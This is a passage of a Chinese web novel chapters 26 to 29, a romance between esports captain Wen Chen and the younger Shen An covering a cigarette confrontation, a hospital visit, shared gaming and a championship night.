缓步走近时,两人目光相交,对方的明显更具压迫感,温忱有些心虚,主动避其锋芒,将视线偏移。
落在少年宽阔了些的肩膀上,被风吹得鼓动的衣摆上,垂落在裤筒两侧的指尖上……
本还有些眩晕的目光在这时倏然清晰定格。
因为发现那修长指缝间居然夹了一支未点燃的香烟。
原本气势上还略逊一筹的人立刻也不觉惭怍了,一个眼刀扫过去,皱着眉加快了步伐。
“那人呢?你哪里来的烟?”
沈岸从头到尾冷着脸没挪过步子,直勾勾看着人飘飘然地走近,问话也不理,仿佛几分钟前电话里姿态柔软请人下来的不是他。
一看就是在故意耍脾气。
不过倒也能理解。
温忱被几个俱乐部的高管强拉着喝酒,一边追忆过去一边伤春悲秋,又是感恩戴德他这些年创造的辉煌佳绩,又是真情实感的说什么当年的事情各有难处,又是管他绯不绯闻喜欢男喜欢女都是你的自由天大的舆论战队给你顶着……但到最后尽是殊途同归,绕回了劝他留下别走。
尤其是那个刚回归的许理事,许如泽。
也就是当年一拍桌子签下
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他的那位。
仗着当时刚把人签进来就调任出国,后续的阴阳合同事件没有参与也不知情,说话底气十足,称兄道弟地揽着人猛猛喝。
温忱被缠得实在没空看手机,好不容易等人喝趴了,才发现那十多通未接电话。
担心沈岸有什么急事,他在看到的瞬间就立刻回拨了过去。
男孩略显委屈无措的声音穿透了嘈杂的背景音,一句“我在楼下”让被酒精麻痹的脑袋瞬间清醒。
……
不知道等了多久了,生气也是情有可原的。
但是一码归一码。
“不是故意不接电话的,里面太吵了没听到。”温忱一边解释一边伸手去拿他手上的烟:“别人给你的?这个不要学……”
烟没拿到,被沈岸一扬手避开了。
话也没说完,因为看见沈岸二话不说把烟往嘴里一送,还不知从哪摸出来一个打火机,咔的一声就搁嘴边点燃了。
真是反了天了。
温忱抬手再夺,哪成想对方铁了心要跟他对着干,叼着烟一扭头,掉脸往旁边小巷深处走。
……很少说脏话的人在心里骂了句娘,然后抬脚往前追去。
“你小子现在是到叛逆期了对吧?”
三步并作两步捉住人的手腕,往后一拉,也不管什么有没有资格,该不该了,张口就训:“怎么越说不让干的越偏要干……”
这次凑上前捏着人的脸,好赖是成功把那根犹如飘着毒气的烟蒂给从嘴里摘下来了。
“诚心和谁作对呢?”捏着烟卷指指点点:“我吗?”
烟只吸进了半口,嘴巴里没什么怪异气息,反倒是方才贴过来的手指让嘴唇酸酸麻麻的。
沈岸轻轻咬住下唇,湿润舌尖在荡过干燥唇瓣,回味半晌,决定开始找事。
于是挑了挑眉一冷笑,冲着本就近在咫尺的脸又逼近几分。
“你可以和我划清界限我就不可以和你作对吗?”
温忱还举着那支正在燃烧的烟,见他完全忽视烟头往前凑,赶忙收手向后退。
但势要将叛逆贯彻到底的少年没有给他后退发机会,一把捉住手肘,大力向自己跟前一拉。
拉得人一个踉跄,险些扑进自己怀里。
温忱一惊,但挣了两下却都没有挣得脱,脑袋顿时一热:“你干嘛?!”
沈岸不退反进,越靠近越能闻到那熏天酒气:“明明是你自己先喝得酩酊烂醉,一身烟酒气息都要腌入味了,怎么还好意思说让我别抽烟?”
温忱一噎:“……你和我比什么。”
“我就要和你比。”
说罢,突然一偏头,朝着被桎梏着的掌心吻了下来。
——就着温忱的手又深吸了一口被夺走的烟。
薄唇贴上手心,柔软而又湿润,还裹挟着温热体温,一抿一松,如同在指间轻轻一搔。
温忱整个人怔在了原地,足足愣了两秒才反应过来发生了什么,犹如过电般猛地推开那人的脸。
“没完了是吧!”
但没敢使太大力气,沈岸只是被推得微微偏过头,完全不妨碍再次靠近。
“躲我做什么?”
“怕又被人拍到?怕又要金口玉言去澄清关系?”
说话间,白色烟雾从齿缝间飘散而出,缭绕升腾,浓重的烟草气息下,沈岸轻笑一声。
“以前怎么不知道温大队长的清白这么珍贵啊?”
小巷僻静,二人行至中段,会所内的喧天颤响化成了沉闷余音,有节奏的敲击着、鼓动着。
落在耳边,传至心间,好像连心跳的频率也被带动着加快了。
温忱在被逼退两三步,眼看就要抵到墙边时猛然回神,侧身朝旁边避开。
可一回生二回熟,已经在同样场景被躲避过一次的人早有预判,直接伸手将人往回一扯,不轻不重地按在了墙面上。
鼓点般的强烈震感透过墙体传来,袭至全身,这一次,是连血液也跟着沸腾起来了。
身后墙面冰冷,身前热息灼人。
按在墙上的那只手臂线条紧绷,洒在颈边的气息微微颤抖。
温忱猛的抬眼。
少年的贴近也终于在此时罢休。
只是仿佛来自千里之外的冰雪气息并未全然消融,周身烟草气息也未淡去。
犹如隔着凉冰冰的一层水雾。
“你是生怕澄清慢了一步,我就会像狗皮膏药一样追上来,是吗?”
27.第 27 章
狗皮膏药也并非从一开始就是狗皮膏药的。
认识温忱前的十多年里,沈岸一直都是个自律自立,自强不息且独立自主的好少年。
沈家父母在养孩子方面一抵一个的不靠谱,大号小号花得心思都不多。但在前者的失败教育上悟透了“孩子经济太自由就一定就学坏”的道理,对隐藏款小天才的培养直接进化成了不仅不花心思,也不给钱,还要成绩。
以沈时作为过来人的话说,没在沉默中爆发纯属是因为这孩子本身脾气太好,性子太软,而且真的很喜欢学习。
小时候的沈岸性子比较清冷,又一直是“别人家的孩子”,还比同龄人高出几届,所以身边玩得来的朋友从来不多。
孤僻谈不上,但总归是内向话少的。
与当时正值青春中二期的某人截然不同。
可不知是一方学习能力太强,还是一方感染力太盛,总之在温忱上门教人的半个多月后,沈时回家过年时,就发觉孩子有些不大对劲了。
还记得那是大年二十九的晚上,沈父出席公司年会,沈母和小姐妹去欧洲度假,沈时吃完俱乐部的年终宴想着沈岸一个人在家有些可怜便打包了几个菜回家,结果一推开门就看见他正抱着一堆福字和春联爬上爬下地挨个门贴。
已经很久没有在家里感受到过年味的人揉了揉眼睛,不敢相信那个忙得不亦乐乎的人是他的好弟弟。
直到被招呼过去帮忙。
一边搭手一边问:“怎么突然想起来弄这些?”
但沈岸眼里只有活:“歪了歪了。”
“歪就歪呗,这杂物间。”
“不行。”
沈监工非常严格,撕下来亲自重新贴了一遍,然后举起手机拍了张照。
等到把室内的所有房门都贴完,二人又转战前院,把沈岸不知从哪弄来的奇光异彩小灯带缠绕在庭前的走道上,给两棵枯得快死的老树挂上红灯笼和彩带,还顺带往鱼池中扔了两盏闪着诡异红光的河灯……
总之最后进屋时兄弟二人冻得跟狗一样。
沈时苍蝇搓手,问他到底受了什么刺激。
沈岸随手把二十多张照片都发给了某人,发完又点开欣赏了一通,不知是回答兄长还是自言自语。
“忱哥说得对,过年果然还是得要有点年味。”
沈时大惊。
更惊讶的是那边收到照片后没两分钟居然直接一个视频电话甩了过来。
沈岸眉飞色舞地接起,转了个圈给对方来了个360度全方位大展示,把僵硬在一旁的沈时也展示了进去。
“很好看。”温忱的笑声通过扬声器传来:“还特地买了个石狮子吗?”
“那不是石狮子,那是我哥。”沈岸不懂冷幽默,但是坦诚得也很幽默:“刚刚我们去布置院子他好像被冻僵了,不过不用管他,我带你看看外面的。”
“冷就不出去了吧,过两天我现场看。”
“嗯?你没回家过年吗?”
“没有,我在基地看门呢。”
听起来有些可怜,沈岸努努嘴,想了想又说:“那我这两天把书房也布置一下吧,给主机上也贴一对春联怎么样?”
“好主意——要不就写,微操入圣猛猛冲,意识通神嘎嘎赢,横批嘛……”
沈岸:“干就完了。”
沈时:……完了。
……
若说这还只是不对劲的开始,那重大变故应该是发生在寒假结束的两个月后,那时温忱已经知道自己受人坑骗,带即将高三的好学生打了一个假期的游戏,倍感痛心疾首,立誓今后要多多行善,中和恶果。
行善积德的事情紧接着就送上了门。
——某天夜里凌晨两点,沈岸突然打电话过来,问可不可以借他两千块钱。
第一反应是孩子上当受骗了不敢和家里说,但怎么想都觉得沈岸不至于干那糊涂事。
更不至于掏不出两千块钱。
一番追问下,对方才老实交代。
沈岸的声音蔫蔫的:“我现在医院,刚刚在家里摔了一跤,医生说要缝针,得先缴费,但我身上就只剩一百块打车来医院时用掉了,我哥的电话没打通……想到之前听你说都训练到很晚猜你还没睡就打给你了,要是打扰了的话不好意思……”
温忱几乎是马不停蹄赶去的医院。
在急诊室里看到穿着睡衣但一身鲜血,胳膊和腿上加起来少说十多道伤口的少年时险些惊掉了下巴。
“你在家摔成这样?!”
沈岸勉强地笑了笑:“摔到碎玻璃片上了。”
“家里为什么会有碎玻璃片?!”
因为爸妈吵架乱扔乱砸的……他睡了一半被吵醒,刚出房门就听见两个人相继夺门而出,迷迷糊糊没走两步就又一个趔趄滑倒在被砸碎的玻璃瓷瓶碎片上了……
不大光彩又关乎他人感情隐私,沈岸没好意思说,只含糊了一句意外。
好在没什么细小碎片扎进肉里,基本都是划伤,较深的需要缝针的两道伤口都位于左腿,大腿一道小腿一道,温忱交完费返回清创室,就看到沈岸乖乖坐在手术床上弯腰卷裤腿。
想都没想就走过去蹲下来帮忙。
本意是想将沈岸的手拿到一边,可握上去才发现居然那么凉。
先前关心则乱没注意到,这会才意识到沈岸只穿了一套单薄的睡衣,四月份的天还不算暖,医院也没开空调,肯定是冷的。
于是起身将自己的外套脱下给人披上拢了拢:“冷了也不知道说?”
然后再蹲回去继续挽裤脚。
沈岸被这一套动作整得有点懵,顿了顿后垂眸看了看搭在肩上的还带着温热气息的外套,又视线下移,看向那小心翼翼,举止轻柔的双手。
其实不是第一次近距离观察这双手了。
一起打游戏的一整个寒假里,握鼠标的那只,敲键盘那只,他都仔细琢磨研究过。
说是为了学习指法键位,但实际上总会莫名其妙在心中赞叹这双手真的很好看。
骨节分明,白皙修长,能看得见淡淡的青筋纹路,跃动时还会留下阵阵残影。
而眼下,这只好看的手正在细心备至地替他将睡衣裤脚一节节卷起,从小腿卷到膝弯又卷上大腿,指腹沾到了些未干的血渍,被染得像浸了朱砂的白玉,指尖偶尔会碰到一下肌肤,温软得如同晒饱了阳光的羽毛……
再然后,这只手又在医生端着药品工具进来后,反握住了他的,还安抚般在他手背上点了点,说:“没事,别怕。”
沈岸其实没有在怕,但他没说。
因为也没有想松手。
……
那晚之后,温忱将人带回了自己附近的房子休息,一是因为离得更近,二是因为他心里没底。
等到把人安置好,准备离开回基地前,左思右想终于还是问出了那个让他没底的问题——受伤了为什么不第一时间联系家里人,沈时没联系上,爸爸妈妈也都不接电话吗?
沈岸肉眼可见的有些局促,想了半天才憋出一句:“这个……有些复杂。”
大半
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夜一身伤跑来医院不和家里说,堂堂富二代卡里两千块都没有,一问父母还支支吾吾……
种种反常是何缘由温大聪明自有决断,只听他非常严肃且郑重地开口。
“小岸,我们对家暴应该是零容忍的,不管出于什么原因动手都是不对的,哪怕是父母也没这个权利,咱们不能逆来顺受无条件忍耐,知道吗?”
沈岸错愕。
刚要开口解释,就又听温忱接着说。
“不过你也不用害怕着急,可以先静下心来好好想一想。”
“要不要回去,什么时候回去,回去了怎么和他们沟通这些你自己考虑考虑清楚,但如果没想好的话也可以先住在这里,反正我平时大部分时间都在基地,而且这边离你学校很近,你腿不方便的话我也可以抽空过来送你去上学。”
一听这条件有些诱人,沈岸忽然又不太想解释了。
……反正的确是他们的不负责任造成的。
也不算很冤枉吧。
温忱隔日就给沈时发了报备短信:【怪不得你会离家出走,你弟弟这段时间住我那边。】
收到的回信内容是一排泪目表情,外加一句【兄弟你终于懂我了,照顾好我弟!】
这一照顾的时间不算短。
从春到夏,眼看就快要暑假了。
温忱也纳闷过为什么这家家长完全不找孩子,给沈时发消息询问得到的答案是本来就不怎么管现在忙着闹离婚更没那工夫了。
太可怜了。
不仅被家暴还要被冷暴力。
这么想着,温忱也就没再追问其他,随他慢慢住了。
腿好了些后沈岸独自回过几次家,大包小包带了不少东西,最后一趟时把游戏本也驼了过来。
恰赶上温忱休假的几天,晚上拎着宵夜回家,一打开门就撞见了在客厅茶几旁边写作业边打游戏的人。
给他惊呆了。
接送上下学业务终止在6月初,因为沈岸已经拆了线恢复得差不多,也因为自己开始慢慢接手战队,忙得完全抽不出空来。
二人有大半个月没见过面,他都不敢想这段时间里究竟发生了什么,居然让孩子堕落至此。
把餐食随手一扔,温忱如临大敌地冲到沙发前,定睛一看才发现作业本上的字迹工工整整,计算大题密密麻麻有理有据……好像并不是乱写乱画。
再抬头看向电脑屏幕,居然还是把顺风排位局。
对面仅剩的一人被队友包夹在地图另一侧,循影正在读条摧毁最后一个鹿神像。
盘腿坐在地毯上的人在这时写完了最后一个公式,停顿两秒后直接写出计算结果,然后一脸无辜茫然地抬起头。
“忱哥?”
“今天怎么有空回来?”
大眼睛滴溜溜一转,落在被扔在玄关的袋子上:“那是给我带的夜宵吗?”
客厅的大灯是暖黄调,少年一身冷白色家居服也被映照出了温馨色彩,一双清澈的眼睛水汪汪转悠,大约刚洗过澡,身上散发着好闻的柠檬清香,头发也毛茸茸地翘着几根,看得人很难不心头一软。
于是温忱任劳任怨地走回去把车轮饼捡起来再递给人家:“你不是要高三了,怎么还有时间打游戏?”
“高几也要打游戏啊。”
“那也不能一边写题一边打吧。”
说得也是,感觉蛮不尊重游戏的。
沈岸听话地把作业本往旁边一扔:“那我下次不写了。”
温忱:“……”
我是这个意思吗?
28.第 28 章
盘腿坐得久了脚有些麻,沈岸没再开游戏,换了个姿势坐到沙发上,一边吃饼一边揉捏着被压得麻了的小腿。
温忱见状还以为他是伤口又不舒服了,便在旁边坐下,伸手握着他的脚踝把半只小腿都拽了过来,搭在自己腿上,然后掀起裤角看了看伤处的长势。
反正之前每次换药也都是这样亲力亲为,他没觉得有什么不妥,就是不知道沈岸为什么明显僵住了。
愣在原地,拿着饼的手举在半空,眼睛更是一眨不眨地盯着自己看。
“傻楞什么。”抬手在那绒呼呼的脑袋上揉了一把:“我看看恢复得怎么样了,都敢盘腿压着坐了,不疼了是吧。”
的确是不疼了。
但是想到之前每次换药疼了的时候都会得到一次轻柔且舒服的按摩待遇,沈岸就又改口了。
咬了一小口饼,含混不清地嘟囔道:“有点疼。”
虽被说道了两句,但结局还是如他所愿,收获了久违的按摩服务。
边吃还边有人伺候的小孩好不享受,第二口咬下去又吃到了红豆馅,一整个甜腻到了心间。
小腿按完了再按大腿,沈岸非常配合地颠着屁股往前挪,因为重心不稳差点歪到沙发下去,被人好心搂了一把给捞回来了。
大腿的伤口位于膝盖上方些许,大概是正在愈合的原因,连带着周围皮肤都有些痒痒的,隔着薄薄一层家居裤捏来捏去,那酥酥麻麻的感觉居然更甚了。
说不清为什么,沈岸觉得心跳变得有些奇怪,也不太敢抬头去看面前的人。
只低着头小小声问了一句。
“忱哥,你这么会照顾人,是家里也有弟弟妹妹吗?”
“没有。”稍顿了一下后,温忱又接着说:“不过我有一个姐姐,小时候打篮球摔伤的时候,她就是这么给我按的。”
这还是第一次听温忱提起家里,沈岸好奇地追问:“那你这么久都没回过家,她不想你吗?”
“应该不吧,毕竟我不在她才能更好地做自己想做的。”
“为什么?”
“……”才意识到嘴太快了不该和小孩子说这么些乱七八糟的,温忱随口胡诌:“当然是因为我太强了,谁和我站在一起都会被比下去啊。”
沈岸不懂:“一家人之间还会在乎这些吗?”
说完又感觉这样评论别人的家庭不太好,改口找补道:“我的意思是,那我哥不得难受死吗?……怪不得前两年非要离家出走呢。”
按摩结束,刚刚还在喊疼的小朋友又变得活蹦乱跳了,直接跳下沙发,又想往地上坐。
“要玩就坐好了玩。”被人拎着衣服领子揪了起来:“书房有台式,去玩那个。”
沈岸一听,激动地回头眨了眨眼睛:“那我们一起双排吧!我带你上分!”
没抵得住盛情邀请,最终两人一起坐在了书房的电脑桌前,沈岸被赶去玩屏幕更大更亮的台式电脑,温忱自己玩他的游戏本。
还没进游戏,沈岸就问他要玩什么。
温忱:“随便,你选你想玩的。”
沈岸立刻说:“我想试试你上次教我的那个组合。”
说是上次,但其实已经是寒假时候的事情了,温忱喜欢研究开辟一些奇奇怪怪新打法,脑子里时不时就会飞过一些骚战术,当时也是打到某个节点忽然灵光一现,和沈岸提了一嘴循影加舜华双刺客抓点流。
没想到隔了这么久他居然还记得。
“但我还没实战过,以及……”温忱率先礼貌告知:“我们进游戏得先把队友屏蔽掉。”
舜华的定位虽是刺客,但碍于技能特性,被当做辅助来打探店也是比较常见的,所以在选英雄阶段没人说什么。
但等到对局开始,家里另外两名队友就发现问题不太对了。
怎么家里好像真有两个刺客……
怎么两个刺客还都一副以一敌十的架势深入敌营。
又斩敌人首级于瞬息之间。
不过与此同时被放生的自家射手也被敌方绕后的刺客收割,可怜巴巴地在团队频道发了个哭泣的表情。
【我是菜鸟别打我(弓箭手):TAT大佬可以回来管管我吗?】
但屏幕上出击杀提示接连狂跳,两位刺客大佬眼看杀穿敌方。
【我是菜鸟别打我(弓箭手):算了我其实也可以自生自灭的。】
二人的双刺客流十分默契,既能互相掩护又能配合补刀,很快就拿下了第一把对局的胜利,沈岸意犹未尽,趁热打铁又开了一把。
同样的阵容,但这把的队友不太好说话,一上来就要求辅助选个天愈跟他,温忱直接关了听筒秒锁舜华。
进了对局还是一样的打法,舜华优先探点,循影跟着他找机会切人。
AD在家门口,有辅助跟着,两人一左一右打了个包夹,人头尽数收入循影囊中。
“漂亮!”温老师适时发来夸奖,并预测下一步行动:“估计他们队友已经靠过来了,我们先撤一点。”
因为要听声辨位 ,两个人都带了耳机,但没开听筒,温忱说完没听到回应还以为是自己声音太小被游戏音乐盖过了,转头看着沈岸的游戏屏幕又重复了一遍。
但谁料对方还是没有撤退的意思,并且还在原地找了个掩体躲起来,紧接着按下了开麦键。
“你是天王老子?凭什么一定要跟着你?”
“……你那技能歪得小怪再多点血量都能反杀你,发育起来了也是提款机跟着你有什么用?”
“……别人打得厉害你不服不承认也没有用,就是比你强就是不用管你也能赢怎么了?”
到这还都是正常输出,但不知道对方突然说了句什么,沈岸突然瞪大眼睛,不可思议地愣了两秒,然后突然愤怒地喊道:
“我他妈也草你——”
温忱被这突然冒出来的一句给吓呆了,惊愕之余赶紧伸手去捂旁边小孩的嘴:“你在瞎说什么呢!”
沈岸本来就气得不行,这会被人圈在臂弯里捂着嘴更是一张小脸憋得通红,哼哼唧唧扑腾了半天。
温忱没由着他,严肃地指着人鼻子:“还说脏话不。”
沈岸使劲摇了摇头。
“再敢说我揍你。”放完狠话才松开手:“跟谁学的这些乱七八糟的。”
“重获新生”后沈岸又回归了不服气态度,鼓着腮帮子告状:“是他先骂人的!”
“那是他没素质,坏的你也要学吗?”
“可是他骂你!”
“骂就骂呗又不会少一块肉。”
早些时候还在黑网吧打比赛的时候,不少队伍都是一水的小混混小青年,不管打得好还是打得差,被骂被喷都是常态。
温忱自己不喜欢说脏话,也不太把那些话放进耳朵里,并不觉得有什么所谓。
“下次再遇到这种人直接屏蔽就行,别跟他们浪费口舌。”
可一向听话的小孩这次偏要反叛到底:“不行!我不允许他们骂你!”
温忱感动但好笑地看了忠心耿耿小护卫一眼:“嘴长别人身上,你还能管那么多呢?”
管不了,但必须骂回去。
不让骂就偷偷骂。
沈岸憋着气打了大半局,趁着温忱专注对局没空分心看自己屏幕的时候突然切到了那个AD的小窗,手指飞快打字,偷偷摸摸把刚刚那句没说完的话完完整整发了过去——
【Side:我他妈也草你大爷!!!】
【Side:我永远草你大爷!!!!】
……
有关家暴的误会被解开已经是暑假的事情了。
因为把人送回家之后,温忱千叮咛万嘱咐沈时,一定要看好,别再让家长动手打人了。
沈时听完都呆了,打谁?打那个从来被作为炫耀谈资的宝贝疙瘩蛋吗?
“兄弟,我爹妈是不负责,但也不是傻子啊,那小子自打出生就没被碰过一根手指头好吧,除了不给钱,各方面都供得跟菩萨一样——你知道开出个天才盲盒多不容易吗?真打傻了他们以后还怎么跟别人装逼吹牛啊。”
当了几个月傻子的人:“……”
真tm服了。
服了但也依旧拿这孩子没
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辙,八月底温忱再次收到了沈岸的短信,询问下学期还可以继续住在他那里吗。
理由也很充分,因为家里司机辞职了,坐公交上学真的很远,要起很早很早。
不想早起的人还亲切表示自己可以支付房租。
温忱回复:【算了吧你,你一个月那点零花钱够付哪儿的房租啊?】
谁料那乖巧小孩短短几夕之间已然性情大变,不知跟谁学的,不要脸功法大成。
立刻回了句。
【太好啦,那意思是我可以白住了吗,谢谢忱哥!】
附带一个可爱小猫比耶表情包。
可爱得让人一句拒绝的话都说不出口。
——不仅拒绝不了,还忍不住不心心念念。
诸如高三学习压力会不会很大啊,晚自修上到很晚走夜路回家会不会不安全啊,饿了总在外面买吃的会不会很不健康啊……
总之那几个月温忱忙里偷闲回家的频率都让林词怀疑他是不是在家里金屋藏娇了。
就连世界赛选拔这么紧张关键的时期,他打完一天比赛都还有精力去趟海鲜市场再回家,说着什么家里有弟弟要月考了,得给他做点好吃的补补。
但林词一个字都不信。
首先不信家里等着的是弟弟不是美眉,其次不信温忱还会做饭。
其实沈岸原先也不信,但是在亲眼目睹一顿色香味俱全的饕餮盛宴出锅后心服口服。
他看着一桌佳肴,问这是为了提前庆祝要拿总冠军了吗?
温忱边取围裙边摆摆手:“是为了提前庆祝你下周月考蝉联第一。”
沈岸失笑:“可是月考每个月都有。”
“那就每个月都庆祝一次!”
……
不过这话温忱最终还是食言了。
DTL一路挺进世界赛,第一次有机会走上正赛舞台,争夺决赛名额,战队从上到下都严阵以待,作训计划排得满之又满,哪怕真有空闲时间也完全不肯放人离开基地。
自上顿盛宴后一别,再次见面,已是12月中旬。
走出校门看见久违的身影,沈岸又惊又喜,大步跑上前去时眼睛也亮晶晶的:“你怎么知道我今天刚出的月考成绩!”
温忱抬手替他重新围好奔跑间散开的围巾,打了个紧紧的结:“我不知道,但是恭喜你又得第一了,饭先欠着怎么样?”
那亮晶晶的眼睛一下就又不亮了,嘴也跟着撇了撇:“又欠。”
温忱又将他脸颊两侧的围巾微微提起,包裹住被冻得微微泛红的耳朵,然后隔着布料揉了揉他的脸,柔声哄道:“那作为补偿,请你去看决赛好不好。”
说着,从怀里掏出了一张门票:“超级前排VIP哦~”
当时的门票是质地比较普通的磁卡,也没有印太多位选手照,VIP卡面固定只有当时几个较火的战队成员。
沈岸拿到的这张印着的是一个金发男生,看长相应该是日韩那边的,眼睛眯成了一条缝,挺阳光地冲着镜头比耶,旁边的落款依稀能辨认是一个字符π。
“这是谁?”
“日本战队Math的AD。”
沈岸想不通怎么会有游戏战队跟数学较劲,但眼下显然更在意另一个问题。
“为什么不是你?”
温忱失笑:“我没成绩,还不太配。”
“……那这次打完你就配了。”沈岸一点不吝啬夸奖:“而且你比他长得好看,印上去肯定更抢手。”
刚说出口又觉得不对:“不行,也不能太抢手,限量发售吧。”
最好只限一个。
温忱笑得不行,觉得这孩子简直可爱得没边了。
于是随口逗他:“那要是我俩印个合照岂不是超级黄金限量款了?”
沈岸愣了愣,仿佛在思考怎么样才能和他一起印合照。
过了半晌后,想到了可行路径,信心满满地点点头。
“那是一定的。”
说罢,又扬了扬手中的门票。
“不过在此之前,我就先做你的超级黄金限量款粉丝吧。”
29.第 29 章
总决赛定在了12月24日晚上,于当地也是国内最大的竞技体育场举办,是七个赛季以来第二次设在本土的决赛。
上一次是第三赛季,老牌战队RED惜败欧美战队,是离冠军最近的一次。
时隔四年,终于又见到了第二支战至决赛的国内队伍,DTL当时的热度和支持率可以说是空前绝后,无人能比。
能否一雪前耻,拿下属于赛区的第一个总冠军,只看今朝。
沈岸记得那天是平安夜,也是星期五,他请了晚自习的假,一放学就打车往体育馆去的时候,沿路已经堵得寸步难行了,最终还是下车步行了半个多小时,才赶在开幕式时进了现场。
温忱给的票的确十分前排,几乎是一抬头就能看见隔音室的。
周边坐着的也基本都是狂热粉丝,左边几个姐姐高举着应援牌和闪光棒猛猛加油助威,右边几个哥哥们拿着摇一摇就会拍得很响的小手,分析着晚上两个队伍的优劣势和可能出现的比分情形。
前面一排则有个晃来晃去的脑袋十分眼熟,沈岸蹲下去戳了戳那人肩膀,对方一回头,果然是他亲哥。
沈时看到穿着校服背着小书包的弟弟出现在这简直惊呆了,差点从椅子上跳起来。
“woc,你怎么来了,你踏马不上学吗?!”
沈岸没理他,指了指旁边的哥哥姐姐们,问道:“他们的荧光棒和鼓掌小手是哪里来的,你可以给我也弄一个吗?”
沈时:“……”
最终还是去后台给他要了一堆,沈岸自己两只手拍不过来就把小手分给了隔壁的姐姐们,还嘱咐说要在Once出场的时候才可以拍。
姐姐们被他可爱死了,一边连连应好,一边说自己也是Once的粉丝。
沈岸收回目光,淡淡报出头衔:“我是超级黄金限量款粉丝。”
……
逐鹿总决赛采取的是BO5制,即优先拿下三局胜利的队伍成为冠军。
当比分来到焦灼的2:2时,全场观众都紧张地微微前倾身体,捏紧了拳头,包括沈岸在内。
不过一个抬眼的距离,他似乎看见了那个玻璃房里最外侧的人朝他这边看了一眼,然后笑了一下。
好像在说,别紧张。
就如同他说过的很多次那样,没问题的,不会输的。
事实也的确如此。
在第25分钟,摧毁完敌方象征着复生的鹿神像后,属于DTL的胜利已然提前敲定。
全场的沸腾化为实质,寂静了一整局的万人场馆终于爆发出足以掀翻屋顶的尖叫。
那个既定的MVP名号,乃至战队的名号在呐喊声中经久不衰地回响,震得人胸腔发麻。
最终DTL以3:2战胜欧美战队Lion,拿下了逐鹿第八赛季的总冠军。
也是国内赛区的第一个冠军。
两方战队队员依次上台握手后冠军队伍走上领奖台,在温忱迈着修长双腿走上台阶,和队友一起举起奖杯时,沈时听到身后的小手疯狂鼓动。
紧接着,又看到那个被全场呼唤的焦点忽然抬眼向自己身后望去。
然后旗帜抖落,金雨飞扬。
……
那晚DTL宴请了联盟大半叫得上名字的战队,财大气粗地包下整栋会所,颇有种与天同乐的架势。
当时的YF虽刚起步,但鉴于沈时与温忱的私交,也全队受邀在列。
不过YF到场的除了队员和老板外,还多了位死皮赖脸非要跟来的学生弟。
学生弟第一次出入声色犬马地界,饶是有家长陪同,不免还是被其中一些不可言说的美妙画面给震撼到了。
沈时也没想到DTL玩这么荤,刚推开包厢门就瞅见一出卿卿我我,吓得把门一关拉着孩子掉头就走。
但沈岸没挪步子。
包间很大,他没看清里面都有谁,但刚刚在门口上演少儿不宜片段的他认识,是温忱的队友之一。
所以温忱也在里面吗?
他也会和那个人一样吗?
他们平时都是这样的吗?
想要当面祝贺他拿下总冠军的喜悦心情在这一刻已经有些烟消云散了,沈岸沉着脸就又要去推门。
沈时赶紧一把拽住他:“哎呦祖宗,这地儿真不是未成年能进的,咱回家好吧。”
“你的意思是成年就可以这样了?”
“……话也不是这么说的,但人家你情我愿的事情咱也管不着啊。”
沈岸一听这话又有些炸,深吸一口气就要往前冲:“我倒要看看都是谁情谁愿。”
也不知这孩子哪来的一身蛮力,沈时一个没拉住,眼看他就要再次推门而入。
好在这时电梯门叮的一声打开,一个熟悉的声音从身后传来。
“小岸?”
温忱刚回俱乐部洗完澡换完衣服过来,一身深灰色私服,比在赛场上穿队服的样子显得更深沉了些,也更俊秀了些。
走近时周身还散发着好闻的香气,好像是薄荷和什么花香的混合,清淡怡人,让心思浮躁的人嗅两口便重归了平静。
瞥了沈时一眼,又望向一身校服的少年:“来找我的吗?”
沈岸也不藏着掖着:“嗯。”
温忱点点头:“出去说吧,这里面乌烟瘴气的,小孩子少待。”
沈时在心里冷笑一声,心想你等下就也要挨喷了。
却没想到小丑竟是他自己。
只见刚刚还咄咄逼人的男孩不仅没有回嘴喷人,还忽然变乖,听话地说了句好。
沈时瞪大双眼:“?”
——不是老弟,你这也太双标了吧!
还有队员要管,沈时没和这两人出去吹风,反正弟弟胳膊肘往外拐也不听他话,有温忱带着反而放心。
宴会所位于市中心,平安夜的街区十分热闹,街道上都是圣诞氛围,几乎挨家挨户店门前都摆着一棵圣诞树,玻璃橱窗上贴着圣诞老人和姜黄饼干。
沈岸直接从场馆过来没有吃饭,温忱想带他吃点东西可一连走过好几家店都是人满为患,最终还是在巷角看到一家老爷爷开的馄饨铺。
“吃点这个垫垫?”
沈岸说:“你选,今天我请你。”
温忱笑笑:“好,那就这个。”
店里人不多,二人各点了一碗鲜肉馄饨,一端上来沈岸就埋头开吃,被升腾的热气熏得一张小脸红扑扑的,也没抬起头。
温忱看着觉得他有些好玩,“怎么了啊?这么沉默,也不祝我夺冠快乐?”
于是沈岸头都不抬:“祝你夺冠快乐。”
“没有特别快乐诶。”
听他这么说,沈岸就抬眼了:“为什么?”
两碗馄饨冒着热腾腾的气,在二人之间织成细细密密,朦朦胧胧的网,阻隔了部分视线。
但温忱的声音很清晰的传来。
“因为感觉你不真心。也不开心。”
说完后,那张脸歪了歪,穿过那迷蒙雾气凑上前来:“怎么啦,谁惹你了?和我说说。”
沈岸拨了拨勺子:“我刚刚,看到你们队伍里的一个人在包间里和一个女孩子……”
声音越说越低,但温忱听明白了。
“吓到了?”
“不是。”
听着这个司空见惯并不惊讶的语气,沈岸又有些急了:“你们经常这样吗?打赢了比赛就这样……奖励自己?”
温忱没忍住笑了出来,用筷子尾巴敲了敲他的头:“瞎说什么,谁教你的。”
“我没瞎说我都看到了,不止他一个,还有好几个人都搂搂抱抱的!我就是没看清是谁……”
温忱终于反应过来了,搞了半天刚刚和沈时在门口剑拔弩张的是想进去看自
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己在不在列啊。
担心成了坏榜样给孩子做了个不好的示范,他连忙解释道:“别人怎么做咱们管不着,不过放心,你忱哥我对那些没兴趣,洁身自好,从来不点。”
说完又补充了一句:“你哥也不点,他也洁身自好。”
沈岸没管后半句:“那你和他们一起去都干嘛?”
“坐着。”温忱老实交代:“坐累了也站会。”
“不无聊吗?”
“很无聊。”
“……那你下次别去了。”
不知道为什么感觉好像被管教了。
温忱老老实实点头:“好的,我下次尽量。”
虽然没有把话说死,但沈岸听完心情一样好多了,美滋滋继续低头吃饭。
吃完了擦擦嘴,朝对面勾勾手,示意温忱把提了一路的书包递给自己。
“干嘛?”温忱抬手递过去:“你不会准备在这看书吧?”
“没有装书。”
沈岸神秘兮兮地拉开书包拉链:“这里面是给你的礼物!”
已经很久没收到过礼物的人期待地挑了挑眉。
只见沈岸先从最上层掏出了一个包装精美的透明小盒子,里面是一颗通体润红的苹果。
